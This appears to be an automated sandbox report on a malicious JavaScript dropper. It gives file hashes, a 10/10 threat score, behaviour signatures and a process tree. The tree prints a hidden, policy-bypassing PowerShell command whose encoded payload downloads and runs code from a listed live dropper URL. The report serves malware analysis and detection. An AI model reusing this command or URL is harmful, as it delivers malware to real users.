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Analysis

  • max time kernel
    121s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    25/12/2023, 17:10

General

  • Target

    2fcae52e3354e9d84707b7e12ec9a436.js

  • Size

    67KB

  • MD5

    2fcae52e3354e9d84707b7e12ec9a436

  • SHA1

    c6e99cfbf8dab7ae2d04660b57486e751f6bf32f

  • SHA256

    1619678570294e1afb0299463df611ce654cc81f6d5bfab14a1f3959f80740b7

  • SHA512

    84c6063e5610e9aa7e227c7e5dffa5ec960cffd57e4207aec2fa333bc410722fb2ae3f066a27cde18d6b109703e946bf079af280fc40967d1df5c3c46fe9b64b

  • SSDEEP

    1536:/FCzZEz+t9Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bS:/wFEqt9Ry98guHVBqqg2bcruzUHmLKee

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2fcae52e3354e9d84707b7e12ec9a436.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2888

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2888-5-0x000000001B290000-0x000000001B572000-memory.dmp

    Filesize

    2.9MB

  • memory/2888-6-0x0000000002310000-0x0000000002318000-memory.dmp

    Filesize

    32KB

  • memory/2888-7-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB

  • memory/2888-8-0x0000000002840000-0x00000000028C0000-memory.dmp

    Filesize

    512KB

  • memory/2888-10-0x0000000002840000-0x00000000028C0000-memory.dmp

    Filesize

    512KB

  • memory/2888-9-0x0000000002840000-0x00000000028C0000-memory.dmp

    Filesize

    512KB

  • memory/2888-11-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB

  • memory/2888-12-0x0000000002840000-0x00000000028C0000-memory.dmp

    Filesize

    512KB

  • memory/2888-13-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB